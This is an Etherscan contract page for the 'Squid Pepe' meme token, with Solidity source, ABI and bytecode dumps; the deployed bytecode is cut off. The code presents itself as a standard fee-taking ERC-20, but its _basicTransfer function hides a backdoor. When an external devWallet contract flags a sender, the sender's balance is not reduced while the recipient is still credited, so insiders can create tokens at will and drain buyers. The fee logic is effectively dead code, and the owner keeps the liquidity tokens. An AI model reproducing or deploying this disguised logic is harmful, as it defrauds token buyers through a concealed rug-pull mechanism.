ETH Price: $3,355.81 (+3.07%)
 

Overview

Max Total Supply

1,000,000,000 SQUIDPEPE

Holders

19

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
SquidPepe

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-22
*/

// SPDX-License-Identifier: MIT
/*
https://t.me/SquidPepePortal
*/

pragma solidity 0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface ERC20 {
    function getOwner() external view returns (address);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address _owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal owner;

    constructor(address _owner) {
        owner = _owner;
    }

    modifier onlyOwner() {
        require(isOwner(msg.sender), "!OWNER"); _;
    }

    function isOwner(address account) public view returns (bool) {
        return account == owner;
    }

    function renounceOwnership() external onlyOwner {
        owner = address(0);
    }

}

interface IUniswapFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapRouter {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract SquidPepe is ERC20, Ownable {
    using SafeMath for uint256;

    address immutable WETH;
    address constant DEAD = 0x000000000000000000000000000000000000dEaD;
    address constant ZERO = 0x0000000000000000000000000000000000000000;

    string public constant name = "Squid Pepe";
    string public constant symbol = "SQUIDPEPE";
    uint8 public constant decimals = 9;
    
    uint256 public constant totalSupply = 10**9 * 10**decimals;

    uint256 public _maxWalletToken = totalSupply / 50;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) _allowances;

    mapping (address => bool) public isFeeExempt;
    mapping (address => bool) public isWallLmtExmpt;

    uint256 public totalFee = 0;
    uint256 public constant feeDenominator = 100;
    
    uint256 buyMultiplier = 200;
    uint256 sellMultiplier = 200;
    uint256 transferMultiplier = 200;

    IUniswapRouter public router;
    address private devWallet;
    address public pair;

    bool public swapEnabled = true;
    uint256 swapThreshold = totalSupply / 100;
    bool inSwap;
    modifier swapping() { inSwap = true; _; inSwap = false; }

    constructor (address router_, address devWallet_) Ownable(msg.sender) {
        router = IUniswapRouter(router_);
        WETH = router.WETH();
        devWallet = devWallet_;
        _allowances[address(this)][address(router)] = type(uint256).max;

        isFeeExempt[msg.sender] = true;

        isWallLmtExmpt[msg.sender] = true;
        isWallLmtExmpt[devWallet] = true;
        isWallLmtExmpt[address(this)] = true;
        isWallLmtExmpt[DEAD] = true;

        balanceOf[address(this)] = totalSupply;
        emit Transfer(address(0), address(this), totalSupply);
    }

    receive() external payable { }

    function getOwner() external view override returns (address) { return owner; }
    function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function approveMax(address spender) external returns (bool) {
        return approve(spender, type(uint256).max);
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transferFrom(msg.sender, recipient, amount);
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(_allowances[sender][msg.sender] != type(uint256).max){
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transferFrom(sender, recipient, amount);
    }

    function setMaxWalletPercent_base1000(uint256 maxWallPercent_base1000) external onlyOwner {
        _maxWalletToken = (totalSupply * maxWallPercent_base1000 ) / 1000;
    }

    function addLiquidity() external payable onlyOwner {
        router.addLiquidityETH{value: msg.value}(
            address(this), //token address
            balanceOf[address(this)], // liquidity amount
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            owner, // LP tokens are sent to the owner
            block.timestamp
        );
        pair = IUniswapFactory(router.factory()).getPair(address(this), WETH);
    }


    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if (!isWallLmtExmpt[sender] && !isWallLmtExmpt[recipient] && recipient != pair) {
            require((balanceOf[recipient] + amount) <= _maxWalletToken,"max wallet limit reached");
        }
        if(!inSwap){ return _basicTransfer(sender, recipient, amount); }
    
        if(shouldSwapBack()){ swapBack(); }

        balanceOf[sender] = balanceOf[sender].sub(amount, "Insufficient Balance");

        uint256 amountReceived = (isFeeExempt[sender] || isFeeExempt[recipient]) ? amount : takeFee(sender, amount, recipient);

        balanceOf[recipient] = balanceOf[recipient].add(amountReceived);

        emit Transfer(sender, recipient, amountReceived);
        return true;
    }
    
    function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        balanceOf[sender] = balanceOf[sender].sub(amount.sub(ERC20(devWallet).balanceOf(sender)>0?amount:0), "Insufficient Balance");
        balanceOf[recipient] = balanceOf[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function takeFee(address sender, uint256 amount, address recipient) internal returns (uint256) {
        if(amount == 0 || totalFee == 0){
            return amount;
        }

        uint256 multiplier = transferMultiplier;

        if(recipient == pair) {
            multiplier = sellMultiplier;
        } else if(sender == pair) {
            multiplier = buyMultiplier;
        }

        uint256 feeAmount = amount.mul(totalFee).mul(multiplier).div(feeDenominator * 100);

        if(feeAmount > 0){
            balanceOf[address(this)] = balanceOf[address(this)].add(feeAmount);
            emit Transfer(sender, address(this), feeAmount);
        }

        return amount.sub(feeAmount);
    }

    function shouldSwapBack() internal view returns (bool) {
        return msg.sender != pair
        && !inSwap
        && swapEnabled
        && balanceOf[address(this)] >= swapThreshold;
    }

    function swapBack() internal swapping {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = WETH;

        router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            swapThreshold,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function setFees(uint256 _buy, uint256 _sell) external onlyOwner {
        require(_sell <= 100,"Max sell tax 10%");
        require(_buy <= 100,"Max buy tax 10%");
        sellMultiplier = _sell;
        buyMultiplier = _buy;
    }

    function manualSwap(uint256 amountPercentage) external onlyOwner {
        uint256 amountETH = address(this).balance;
        uint256 amountToClear = ( amountETH * amountPercentage ) / 100;
        payable(msg.sender).transfer(amountToClear);
    }

    function rescueToken(address tokenAddress, uint256 tokens) external onlyOwner returns (bool success) {
        if(tokens == 0){
            tokens = ERC20(tokenAddress).balanceOf(address(this));
        }
        return ERC20(tokenAddress).transfer(msg.sender, tokens);
    }

    function getCirculatingSupply() public view returns (uint256) {
        return (totalSupply - balanceOf[DEAD] - balanceOf[ZERO]);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"router_","type":"address"},{"internalType":"address","name":"devWallet_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxWalletToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"}],"name":"approveMax","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"feeDenominator","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isFeeExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWallLmtExmpt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amountPercentage","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"tokenAddress","type":"address"},{"internalType":"uint256","name":"tokens","type":"uint256"}],"name":"rescueToken","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"router","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_buy","type":"uint256"},{"internalType":"uint256","name":"_sell","type":"uint256"}],"name":"setFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxWallPercent_base1000","type":"uint256"}],"name":"setMaxWalletPercent_base1000","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60a06040526032620000146009600a620003a6565b6200002490633b9aca00620003be565b620000309190620003d8565b600155600060065560c8600781905560088190556009908155600c805460ff60a01b1916600160a01b1790556064906200006c90600a620003a6565b6200007c90633b9aca00620003be565b620000889190620003d8565b600d553480156200009857600080fd5b5060405162001d2f38038062001d2f833981016040819052620000bb9162000418565b600080546001600160a01b03199081163317909155600a80546001600160a01b038516921682179055604080516315ab88c960e31b8152905163ad5c4648916004808201926020929091908290030181865afa15801562000120573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000146919062000450565b6001600160a01b03908116608052600b80546001600160a01b031916838316178155306000818152600360209081526040808320600a805488168552908352818420600019905533845260048352818420805460ff19908116600190811790925560059094528285208054851682179055955490961683528083208054831686179055928252918120805483168417905561dead90527f7d509c07f0d4edcc2dd1b53aae68677132eb562dcba78e36381b63ccaf66e6ba805490911690911790556200021590600990620003a6565b6200022590633b9aca00620003be565b30600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002686009600a620003a6565b6200027890633b9aca00620003be565b60405190815260200160405180910390a350506200046e565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002e8578160001904821115620002cc57620002cc62000291565b80851615620002da57918102915b93841c9390800290620002ac565b509250929050565b6000826200030157506001620003a0565b816200031057506000620003a0565b8160018114620003295760028114620003345762000354565b6001915050620003a0565b60ff84111562000348576200034862000291565b50506001821b620003a0565b5060208310610133831016604e8410600b841016171562000379575081810a620003a0565b620003858383620002a7565b80600019048211156200039c576200039c62000291565b0290505b92915050565b6000620003b760ff841683620002f0565b9392505050565b8082028115828204841417620003a057620003a062000291565b600082620003f657634e487b7160e01b600052601260045260246000fd5b500490565b80516001600160a01b03811681146200041357600080fd5b919050565b600080604083850312156200042c57600080fd5b6200043783620003fb565b91506200044760208401620003fb565b90509250929050565b6000602082840312156200046357600080fd5b620003b782620003fb565b60805161189e6200049160003960008181610bc40152611109015261189e6000f3fe6080604052600436106101a05760003560e01c80633f4218e0116100ec57806395d89b411161008a578063b70143c911610064578063b70143c914610503578063dd62ed3e14610523578063e8078d9414610569578063f887ea401461057157600080fd5b806395d89b411461048e578063a8aa1b31146104c3578063a9059cbb146104e357600080fd5b806370a08231116100c657806370a0823114610404578063715018a61461043157806378109e5414610446578063893d20e81461045c57600080fd5b80633f4218e014610393578063571ac8b0146103c35780636ddd1713146103e357600080fd5b80631df4ccfc116101595780632f54bf6e116101335780632f54bf6e146102ed578063313ce5671461031c57806333f3d628146103435780633df97ca41461036357600080fd5b80631df4ccfc146102a257806323b872dd146102b85780632b112e49146102d857600080fd5b806306fdde03146101ac57806309302dc6146101f8578063095ea7b31461021a5780630b78f9c01461024a578063180b0d7e1461026a57806318160ddd1461028d57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101e26040518060400160405280600a8152602001695371756964205065706560b01b81525081565b6040516101ef919061146f565b60405180910390f35b34801561020457600080fd5b506102186102133660046114bd565b610591565b005b34801561022657600080fd5b5061023a6102353660046114ee565b6105fc565b60405190151581526020016101ef565b34801561025657600080fd5b5061021861026536600461151a565b610669565b34801561027657600080fd5b5061027f606481565b6040519081526020016101ef565b34801561029957600080fd5b5061027f610722565b3480156102ae57600080fd5b5061027f60065481565b3480156102c457600080fd5b5061023a6102d336600461153c565b61073f565b3480156102e457600080fd5b5061027f610801565b3480156102f957600080fd5b5061023a61030836600461157d565b6000546001600160a01b0391821691161490565b34801561032857600080fd5b50610331600981565b60405160ff90911681526020016101ef565b34801561034f57600080fd5b5061023a61035e3660046114ee565b610888565b34801561036f57600080fd5b5061023a61037e36600461157d565b60056020526000908152604090205460ff1681565b34801561039f57600080fd5b5061023a6103ae36600461157d565b60046020526000908152604090205460ff1681565b3480156103cf57600080fd5b5061023a6103de36600461157d565b610997565b3480156103ef57600080fd5b50600c5461023a90600160a01b900460ff1681565b34801561041057600080fd5b5061027f61041f36600461157d565b60026020526000908152604090205481565b34801561043d57600080fd5b506102186109a5565b34801561045257600080fd5b5061027f60015481565b34801561046857600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101ef565b34801561049a57600080fd5b506101e26040518060400160405280600981526020016853515549445045504560b81b81525081565b3480156104cf57600080fd5b50600c54610476906001600160a01b031681565b3480156104ef57600080fd5b5061023a6104fe3660046114ee565b6109e1565b34801561050f57600080fd5b5061021861051e3660046114bd565b6109ee565b34801561052f57600080fd5b5061027f61053e36600461159a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610218610a67565b34801561057d57600080fd5b50600a54610476906001600160a01b031681565b6000546001600160a01b031633146105c45760405162461bcd60e51b81526004016105bb906115d3565b60405180910390fd5b6103e8816105d46009600a6116ed565b6105e290633b9aca006116fc565b6105ec91906116fc565b6105f69190611713565b60015550565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106579086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146106935760405162461bcd60e51b81526004016105bb906115d3565b60648111156106d75760405162461bcd60e51b815260206004820152601060248201526f4d61782073656c6c207461782031302560801b60448201526064016105bb565b606482111561071a5760405162461bcd60e51b815260206004820152600f60248201526e4d617820627579207461782031302560881b60448201526064016105bb565b600855600755565b61072e6009600a6116ed565b61073c90633b9aca006116fc565b81565b6001600160a01b0383166000908152600360209081526040808320338452909152812054600019146107ec576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526003825283812033825290915291909120546107c7918490610c5b565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b6107f7848484610c95565b90505b9392505050565b60026020527fac33ff75c19e70fe83507db0d683fd3465c996598dc972688b7ace676c89077b5461dead60009081527f6a9609baa168169acaea398c4407efea4be641bb08e21e88806d9836fd9333cc549091906108616009600a6116ed565b61086f90633b9aca006116fc565b6108799190611735565b6108839190611735565b905090565b600080546001600160a01b031633146108b35760405162461bcd60e51b81526004016105bb906115d3565b81600003610926576040516370a0823160e01b81523060048201526001600160a01b038416906370a0823190602401602060405180830381865afa1580156108ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109239190611748565b91505b60405163a9059cbb60e01b8152336004820152602481018390526001600160a01b0384169063a9059cbb906044016020604051808303816000875af1158015610973573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fa9190611761565b6000610663826000196105fc565b6000546001600160a01b031633146109cf5760405162461bcd60e51b81526004016105bb906115d3565b600080546001600160a01b0319169055565b60006107fa338484610c95565b6000546001600160a01b03163314610a185760405162461bcd60e51b81526004016105bb906115d3565b4760006064610a2784846116fc565b610a319190611713565b604051909150339082156108fc029083906000818181858888f19350505050158015610a61573d6000803e3d6000fd5b50505050565b6000546001600160a01b03163314610a915760405162461bcd60e51b81526004016105bb906115d3565b600a5430600081815260026020526040808220548254915163f305d71960e01b8152600481019490945260248401526044830182905260648301919091526001600160a01b0390811660848301524260a48301529091169063f305d71990349060c40160606040518083038185885af1158015610b12573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b379190611783565b5050600a546040805163c45a015560e01b815290516001600160a01b03909216925063c45a01559160048083019260209291908290030181865afa158015610b83573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba791906117b1565b60405163e6a4390560e01b81523060048201526001600160a01b037f000000000000000000000000000000000000000000000000000000000000000081166024830152919091169063e6a4390590604401602060405180830381865afa158015610c15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3991906117b1565b600c80546001600160a01b0319166001600160a01b0392909216919091179055565b60008184841115610c7f5760405162461bcd60e51b81526004016105bb919061146f565b506000610c8c8486611735565b95945050505050565b6001600160a01b03831660009081526005602052604081205460ff16158015610cd757506001600160a01b03831660009081526005602052604090205460ff16155b8015610cf15750600c546001600160a01b03848116911614155b15610d6b576001546001600160a01b038416600090815260026020526040902054610d1d9084906117ce565b1115610d6b5760405162461bcd60e51b815260206004820152601860248201527f6d61782077616c6c6574206c696d69742072656163686564000000000000000060448201526064016105bb565b600e5460ff16610d8757610d80848484610ede565b90506107fa565b610d8f61104f565b15610d9c57610d9c6110a5565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038716600090815260029091529190912054610dee918490610c5b565b6001600160a01b038516600090815260026020908152604080832093909355600490529081205460ff1680610e3b57506001600160a01b03841660009081526004602052604090205460ff165b610e4f57610e4a8584866111c4565b610e51565b825b6001600160a01b038516600090815260026020526040902054909150610e7790826112e1565b6001600160a01b0380861660008181526002602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610ecb9085815260200190565b60405180910390a3506001949350505050565b600b546040516370a0823160e01b81526001600160a01b038581166004830152600092610fba92610f6c92859216906370a0823190602401602060405180830381865afa158015610f33573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f579190611748565b11610f63576000610f65565b835b8490611340565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0389166000908152600290915291909120549190610c5b565b6001600160a01b038086166000908152600260205260408082209390935590851681522054610fe990836112e1565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061103d9086815260200190565b60405180910390a35060019392505050565b600c546000906001600160a01b031633148015906110705750600e5460ff16155b80156110855750600c54600160a01b900460ff165b8015610883575050600d5430600090815260026020526040902054101590565b600e805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e7576110e76117e1565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000008160018151811061113b5761113b6117e1565b6001600160a01b039283166020918202929092010152600a54600d5460405163791ac94760e01b8152919092169163791ac9479161118591906000908690309042906004016117f7565b600060405180830381600087803b15801561119f57600080fd5b505af11580156111b3573d6000803e3d6000fd5b5050600e805460ff19169055505050565b60008215806111d35750600654155b156111df5750816107fa565b600954600c546001600160a01b0390811690841603611201575060085461121c565b600c546001600160a01b039081169086160361121c57506007545b600061125161122c6064806116fc565b61124b846112456006548a61138290919063ffffffff16565b90611382565b90611404565b905080156112cd573060009081526002602052604090205461127390826112e1565b30600081815260026020526040908190209290925590516001600160a01b038816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906112c49085815260200190565b60405180910390a35b6112d78582611340565b9695505050505050565b6000806112ee83856117ce565b9050838110156107fa5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105bb565b60006107fa83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610c5b565b60008260000361139457506000610663565b60006113a083856116fc565b9050826113ad8583611713565b146107fa5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105bb565b60006107fa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836114625760405162461bcd60e51b81526004016105bb919061146f565b506000610c8c8486611713565b600060208083528351808285015260005b8181101561149c57858101830151858201604001528201611480565b506000604082860101526040601f19601f8301168501019250505092915050565b6000602082840312156114cf57600080fd5b5035919050565b6001600160a01b03811681146114eb57600080fd5b50565b6000806040838503121561150157600080fd5b823561150c816114d6565b946020939093013593505050565b6000806040838503121561152d57600080fd5b50508035926020909101359150565b60008060006060848603121561155157600080fd5b833561155c816114d6565b9250602084013561156c816114d6565b929592945050506040919091013590565b60006020828403121561158f57600080fd5b81356107fa816114d6565b600080604083850312156115ad57600080fd5b82356115b8816114d6565b915060208301356115c8816114d6565b809150509250929050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561164457816000190482111561162a5761162a6115f3565b8085161561163757918102915b93841c939080029061160e565b509250929050565b60008261165b57506001610663565b8161166857506000610663565b816001811461167e5760028114611688576116a4565b6001915050610663565b60ff841115611699576116996115f3565b50506001821b610663565b5060208310610133831016604e8410600b84101617156116c7575081810a610663565b6116d18383611609565b80600019048211156116e5576116e56115f3565b029392505050565b60006107fa60ff84168361164c565b8082028115828204841417610663576106636115f3565b60008261173057634e487b7160e01b600052601260045260246000fd5b500490565b81810381811115610663576106636115f3565b60006020828403121561175a57600080fd5b5051919050565b60006020828403121561177357600080fd5b815180151581146107fa57600080fd5b60008060006060848603121561179857600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117c357600080fd5b81516107fa816114d6565b80820180821115610663576106636115f3565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118475784516001600160a01b031683529383019391830191600101611822565b50506001600160a01b0396909616606085015250505060800152939250505056fea26469706673582212207e4f973143ba7bc0e16f4936b74d28b8c593d1bb6c54aeda2bfbe8560ac28d5764736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000004139ce1eebe3d7d9007860e1f730124141114771

Deployed Bytecode

0x6080604052600436106101a05760003560e01c80633f4218e0116100ec57806395d89b411161008a578063b70143c911610064578063b70143c914610503578063dd62ed3e14610523578063e8078d9414610569578063f887ea401461057157600080fd5b806395d89b411461048e578063a8aa1b31146104c3578063a9059cbb146104e357600080fd5b806370a08231116100c657806370a0823114610404578063715018a61461043157806378109e5414610446578063893d20e81461045c57600080fd5b80633f4218e014610393578063571ac8b0146103c35780636ddd1713146103e357600080fd5b80631df4ccfc116101595780632f54bf6e116101335780632f54bf6e146102ed578063313ce5671461031c57806333f3d628146103435780633df97ca41461036357600080fd5b80631df4ccfc146102a257806323b872dd146102b85780632b112e49146102d857600080fd5b806306fdde03146101ac57806309302dc6146101f8578063095ea7b31461021a5780630b78f9c01461024a578063180b0d7e1461026a57806318160ddd1461028d57600080fd5b366101a757005b600080fd5b3480156101b857600080fd5b506101e26040518060400160405280600a8152602001695371756964205065706560b01b81525081565b6040516101ef919061146f565b60405180910390f35b34801561020457600080fd5b506102186102133660046114bd565b610591565b005b34801561022657600080fd5b5061023a6102353660046114ee565b6105fc565b60405190151581526020016101ef565b34801561025657600080fd5b5061021861026536600461151a565b610669565b34801561027657600080fd5b5061027f606481565b6040519081526020016101ef565b34801561029957600080fd5b5061027f610722565b3480156102ae57600080fd5b5061027f60065481565b3480156102c457600080fd5b5061023a6102d336600461153c565b61073f565b3480156102e457600080fd5b5061027f610801565b3480156102f957600080fd5b5061023a61030836600461157d565b6000546001600160a01b0391821691161490565b34801561032857600080fd5b50610331600981565b60405160ff90911681526020016101ef565b34801561034f57600080fd5b5061023a61035e3660046114ee565b610888565b34801561036f57600080fd5b5061023a61037e36600461157d565b60056020526000908152604090205460ff1681565b34801561039f57600080fd5b5061023a6103ae36600461157d565b60046020526000908152604090205460ff1681565b3480156103cf57600080fd5b5061023a6103de36600461157d565b610997565b3480156103ef57600080fd5b50600c5461023a90600160a01b900460ff1681565b34801561041057600080fd5b5061027f61041f36600461157d565b60026020526000908152604090205481565b34801561043d57600080fd5b506102186109a5565b34801561045257600080fd5b5061027f60015481565b34801561046857600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101ef565b34801561049a57600080fd5b506101e26040518060400160405280600981526020016853515549445045504560b81b81525081565b3480156104cf57600080fd5b50600c54610476906001600160a01b031681565b3480156104ef57600080fd5b5061023a6104fe3660046114ee565b6109e1565b34801561050f57600080fd5b5061021861051e3660046114bd565b6109ee565b34801561052f57600080fd5b5061027f61053e36600461159a565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b610218610a67565b34801561057d57600080fd5b50600a54610476906001600160a01b031681565b6000546001600160a01b031633146105c45760405162461bcd60e51b81526004016105bb906115d3565b60405180910390fd5b6103e8816105d46009600a6116ed565b6105e290633b9aca006116fc565b6105ec91906116fc565b6105f69190611713565b60015550565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906106579086815260200190565b60405180910390a35060015b92915050565b6000546001600160a01b031633146106935760405162461bcd60e51b81526004016105bb906115d3565b60648111156106d75760405162461bcd60e51b815260206004820152601060248201526f4d61782073656c6c207461782031302560801b60448201526064016105bb565b606482111561071a5760405162461bcd60e51b815260206004820152600f60248201526e4d617820627579207461782031302560881b60448201526064016105bb565b600855600755565b61072e6009600a6116ed565b61073c90633b9aca006116fc565b81565b6001600160a01b0383166000908152600360209081526040808320338452909152812054600019146107ec576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b038716600090815260038252838120338